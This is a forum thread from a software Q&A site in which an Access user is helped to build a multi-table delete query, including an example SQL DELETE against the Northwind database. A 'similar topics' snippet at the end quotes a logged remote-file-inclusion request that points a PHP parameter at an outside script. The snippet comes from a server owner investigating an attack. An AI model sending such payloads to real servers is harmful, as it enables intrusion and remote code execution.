473,657 Members | 2,765 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

Delete Query-Identifying the table with records for deletion

HI again:

I have a query which selects records on tblPOmods on the basis of information on two other
tables. I wish to delete the selected transactions, and am having a problem doing it. It
tells me that if "could not delete from the specified tables". I have tried to set the
"where" to "From" for the fields I selected, but the "From" wont take and bounces back to
"where". I have tried other strategies, and got a comment "Identity table to delete", but
the "where" still won't change to a "From".

Does anyone have a clue what I could be doing wrong? Again the manual is pretty much
silent on his kind of problem.

Regards

John Baker
Nov 12 '05 #1
4 2022
Drag the * from the main table into the query design grid. You can then
choose FROM under this column.

It can be hairy deleting from a query based on multiple tables. Have you
considered the impact of the join types, referential integrity of the
relation, cascading deletes, etc?

--
Allen Browne - Microsoft MVP. Perth, Western Australia.
Tips for Access users - http://allenbrowne.com/tips.html
Reply to group, rather than allenbrowne at mvps dot org.

"John Baker" <Ba******@Veriz on.net> wrote in message
news:q8******** *************** *********@4ax.c om...

I have a query which selects records on tblPOmods on the basis of information on two other tables. I wish to delete the selected transactions, and am having a problem doing it. It tells me that if "could not delete from the specified tables". I have tried to set the "where" to "From" for the fields I selected, but the "From" wont take and bounces back to "where". I have tried other strategies, and got a comment "Identity table to delete", but the "where" still won't change to a "From".

Does anyone have a clue what I could be doing wrong? Again the manual is pretty much silent on his kind of problem.

Regards

John Baker

Nov 12 '05 #2
Thank You.

That does work, but I have changed the strategy based on your good point. There appear to
be some significant risks associated with this kind of delete strategy. I shall use it
sparingly, but in any case your thought was much appreciated. I just wonder why they
designed Approach with so many pitfalls for the unwarey or uninitiated.

Regards

John Baker

"Allen Browne" <Al*********@Se eSig.Invalid> wrote:
Drag the * from the main table into the query design grid. You can then
choose FROM under this column.

It can be hairy deleting from a query based on multiple tables. Have you
considered the impact of the join types, referential integrity of the
relation, cascading deletes, etc?


Nov 12 '05 #3
Allen:

I had occasion to try that method, and had some trouble. I dragged the * into the query as
you suggested, and it still wont delete from the files. How many criteria do you need in
the query itself? All I have is two linked tables, and where there is a match I want to
delete the record from one of them from one of them. THis is a one to many link, and the
"many" side is the one I wish to delete.

This is one time I want to use a query!

Regards

John Baker
"Allen Browne" <Al*********@Se eSig.Invalid> wrote:
Drag the * from the main table into the query design grid. You can then
choose FROM under this column.

It can be hairy deleting from a query based on multiple tables. Have you
considered the impact of the join types, referential integrity of the
relation, cascading deletes, etc?


Nov 12 '05 #4
Deleting from the "many" side should be okay.
This example works with the Northwind sample database:

DELETE [Order Details].*, Orders.OrderID, [Order Details].ProductID
FROM Orders INNER JOIN [Order Details] ON Orders.OrderID = [Order
Details].OrderID
WHERE (((Orders.Order ID)=10619) AND (([Order Details].ProductID)=22) );

--
Allen Browne - Microsoft MVP. Perth, Western Australia.
Tips for Access users - http://allenbrowne.com/tips.html
Reply to group, rather than allenbrowne at mvps dot org.

"John Baker" <Ba******@Veriz on.net> wrote in message
news:cs******** *************** *********@4ax.c om...
Allen:

I had occasion to try that method, and had some trouble. I dragged the * into the query as you suggested, and it still wont delete from the files. How many criteria do you need in the query itself? All I have is two linked tables, and where there is a match I want to delete the record from one of them from one of them. THis is a one to many link, and the "many" side is the one I wish to delete.

This is one time I want to use a query!

Regards

John Baker
"Allen Browne" <Al*********@Se eSig.Invalid> wrote:
Drag the * from the main table into the query design grid. You can then
choose FROM under this column.

It can be hairy deleting from a query based on multiple tables. Have you
considered the impact of the join types, referential integrity of the
relation, cascading deletes, etc?

Nov 12 '05 #5

This thread has been closed and replies have been disabled. Please start a new discussion.

Similar topics

12
3284
by: Gustaf Liljegren | last post by:
I've been learning using PHP and MySQL from the tutorial at freewebmasterhelp.com. Everything works fine, except deleting things. The script is invoked with a URL like this: http://www.example.org/test/delete_entry.php?id=35 And here's the script: <? include("dbinfo.inc.php");
14
8075
by: Darin | last post by:
I have a table that I want to delete specific records from based on data in other tables. I'm more familiar with Access '97, but am now using 2003, but the database is in 2000 format. In '97, I think I could have easily done this using joins, but I kept getting "could not delete from specified tables" errors. Some google searching has indicated I need to use a subquery. After many failed attempts with different approaches, I finally...
11
1719
by: Sheldon Glickler | last post by:
I have code that does not delete from a database. The same code (cut an paste in the same file, but different function and having a different query) works. So, of course, I tested the query interactively. I echoed the query and did a cut and paste when interactively connect to the database. That one worked so it isn't the query since interactively it is seeing exactly the same thing as the code produces. Here is the code: function...
4
10616
by: Ignoramus6539 | last post by:
There were some strange requests to my server asking for config.php file (which I do not have in the requested location). I did some investigation. Seems to be a virus written in perl, exploiting a vulnerability in php code. The requests are like this 216.120.231.252 - - "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"
3
4920
by: webandwe | last post by:
Hi How do I go to another URL after my php has deleted the requsted information. Here is of my coding: ---------------------------------- <form name=example method=post action=delete.php> Delete Heading : <input type=text name=delete><br> <input type=submit value=Delete>
10
2042
by: pythonnoob | last post by:
Hello everyone. New to python as well as this forum, but i must say ive learned a but already reading through some posts. Seems to be a pretty helpful community here. Before i post a question ill give you a little background. I have done programming in the past in Basic, VB, and a little C. I am not much of a programmer, its more of a hobby/curiosity. The following code is not mine, i am trying to modify a template of a mock database....
1
2331
by: jmarcrum | last post by:
Hello all! i have a “monitor-type” program, where my program recognizes my defined "commands”, and executes the given command, or produces an error message that says “unrecognized command”. After execution or error message, the program puts the cursor on the next line, and waits for the next command. i have two commands that I CANNOT SEEM TO GET TO WORK...addDVD and deleteDVD. I just learned that I can't use an array, because i "must"...
13
1858
by: mac | last post by:
hi all, im creating a form wich wil upload images to a folder and their names and other details to a database. im able to do uploading but my delete function is not working, please can anybody tell me mistake n help me?? image_uploader.php <? if(isset($_REQUEST)) {
107
11296
by: bonneylake | last post by:
Hey Everyone, Well for the last few days i been trying to figure out how to delete attachments and download attachments to my computer. The deleting is sort of working and i don't know where to begin on downloading. Right now with the deleting it will delete from the attachments folder on the server but it does not delete from the database an was wondering if someone could explain what i am doing wrong on deleting attachments and how i could...
8
2360
by: iheartvba | last post by:
Hi, I have upgraded to SQL Server Express 2005 and now my Delete Querey which was made in MS Access Query Builder is not working. It doesn't give any error it just doesn't work: If its of any use the SQL in the query is : DELETE tblCollections.MDCollectionID, tblCollections.Delete FROM tblCollections WHERE (((tblCollections.Delete)=-1)); Any Help Would be Greatly Appreciated, I am truly desperate to get this resolved, Thanks.
0
8384
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However, people are often confused as to whether an ONU can Work As a Router. In this blog post, we’ll explore What is ONU, What Is Router, ONU & Router’s main usage, and What is the difference between ONU and Router. Let’s take a closer look ! Part I. Meaning of...
0
8302
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can effortlessly switch the default language on Windows 10 without reinstalling. I'll walk you through it. First, let's disable language synchronization. With a Microsoft account, language settings sync across devices. To prevent any complications,...
0
8820
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers, it seems that the internal comparison operator "<=>" tries to promote arguments from unsigned to signed. This is as boiled down as I can make it. Here is my compilation command: g++-12 -std=c++20 -Wnarrowing bit_field.cpp Here is the code in...
0
8718
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven tapestry of website design and digital marketing. It's not merely about having a website; it's about crafting an immersive digital experience that captivates audiences and drives business growth. The Art of Business Website Design Your website is...
1
8499
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows Update option using the Control Panel or Settings app; it automatically checks for updates and installs any it finds, whether you like it or not. For most users, this new feature is actually very convenient. If you want to control the update process,...
0
8601
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the choice of these technologies. I'm particularly interested in Zigbee because I've heard it does some...
0
7314
agi2029
by: agi2029 | last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing, and deployment—without human intervention. Imagine an AI that can take a project description, break it down, write the code, debug it, and then launch it, all on its own.... Now, this would greatly impact the work of software developers. The idea...
1
6162
isladogs
by: isladogs | last post by:
The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM). In this session, we are pleased to welcome a new presenter, Adolph Dupré who will be discussing some powerful techniques for using class modules. He will explain when you may want to use classes instead of User Defined Types (UDT). For example, to manage the data in unbound forms. Adolph will...
2
1601
bsmnconsultancy
by: bsmnconsultancy | last post by:
In today's digital era, a well-designed website is crucial for businesses looking to succeed. Whether you're a small business owner or a large corporation in Toronto, having a strong online presence can significantly impact your brand's success. BSMN Consultancy, a leader in Website Development in Toronto offers valuable insights into creating effective websites that not only look great but also perform exceptionally well. In this comprehensive...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.